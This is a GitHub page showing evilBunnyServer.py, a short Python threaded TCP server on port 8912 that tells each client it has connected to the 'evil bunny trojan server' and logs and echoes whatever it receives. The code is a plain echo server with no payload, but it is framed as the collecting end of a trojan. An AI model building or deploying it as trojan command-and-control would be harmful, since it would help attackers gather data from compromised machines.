-
Notifications
You must be signed in to change notification settings - Fork 23
/
evilBunnyServer.py
71 lines (44 loc) · 1.7 KB
/
evilBunnyServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import threading
import socket
import sys
############################################################################
HOST = '' # Symbolic name, meaning all available interfaces
PORT = 8912 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
############################################################################
def start_new_thread(f, args):
threading.Thread(target=f, args=args).start()
def main():
# Bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()
# Start listening on socket
s.listen(10)
print("Server listening on port " + str(PORT))
# now keep talking with the client
while 1:
# wait to accept a connection - blocking call
sock, addr = s.accept()
print('Connected with ' + addr[0] + ':' + str(addr[1]))
start_new_thread(clientHandler, (sock, addr[0]))
s.close()
############################################################################
def clientHandler(sock, ip):
# Sending message to connected client
sock.send(b'You are now connected to the evil bunny trojan server')
# infinite loop so that function do not terminate and thread do not end.
while True:
# Receiving from client
data = sock.recv(1024).decode('utf-8')
print("[ %s ] %s" % (ip, data))
reply = 'Received : ' + data
sock.send(bytes(reply.encode('utf-8')))
if not data:
break
# came out of loop
sock.close()
############################################################################
main()